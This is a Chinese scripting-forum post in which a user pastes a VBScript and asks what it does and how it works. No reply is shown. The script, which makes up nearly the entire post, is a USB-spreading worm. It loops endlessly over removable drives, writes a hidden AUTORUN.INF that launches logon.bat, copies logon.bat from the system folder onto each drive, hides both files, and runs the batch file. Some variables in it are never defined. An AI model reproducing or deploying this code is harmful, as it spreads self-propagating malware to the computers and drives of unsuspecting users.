[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

解释下这个VBS代码

  1. on error resume next
  2. strComputer = "."
  3. set fs =createobject("scripting.filesystemobject")
  4. set WshShell = WScript.CreateObject("WScript.Shell")
  5. Set objWMIService = GetObject("winmgmts:" _
  6. & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
  7. Set colDisks = objWMIService.ExecQuery _
  8. ("Select * from Win32_LogicalDisk")
  9. For i =1 to 9000000000
  10. For Each objDisk in colDisks
  11. Select Case objDisk.DriveType
  12. :Case 2:
  13. y1=fs.FileExists(objDisk.DeviceID & "\AUTORUN.INF")
  14. if not y1 then
  15. set f=fs.opentextfile(objDisk.DeviceID & "\AUTORUN.INF",2, true)
  16. f.write "[AutoRun]" & vbcrlf
  17. f.write "open=logon.bat" & vbcrlf
  18. f.write "shellexecute=logon.bat" & vbcrlf
  19. f.write "shell\Auto\command=logon.bat" & vbcrlf
  20. f.Close
  21. Set f1 = fs.GetFile(objDisk.DeviceID & "\AUTORUN.INF")
  22. If f1.Attributes = f1.Attributes AND 2 Then
  23. :f1.Attributes = f1.Attributes XOR 7:
  24. End If
  25. end if
  26. y2=fs.FileExists(objDisk.DeviceID & "\logon.bat")
  27. if not y2 then
  28. fs.CopyFile "c:\windows\system32\logon.bat",objDisk.DeviceID & "\"
  29. Set f2 = fs.GetFile(objDisk.DeviceID & "\logon.bat")
  30. If f2.Attributes = f2.Attributes AND 2 Then
  31. :f2.Attributes = f2.Attributes XOR 7:
  32. End If
  33. end if
  34. dirr = Wshshell.ExpandEnvironmentStrings("C:")
  35. if not y3 then
  36. WshShell.Run "logon.bat"
  37. WScript.Sleep 500
  38. If f3.Attributes = f3.Attributes AND 2 Then
  39. :f3.Attributes = f3.Attributes XOR 7:
  40. End If
  41. end if
  42. End Select
  43. Next
  44. WScript.Sleep 5000
  45. Next
复制代码
详细解释下这个代码

这个代码的用处是什么

TOP

返回列表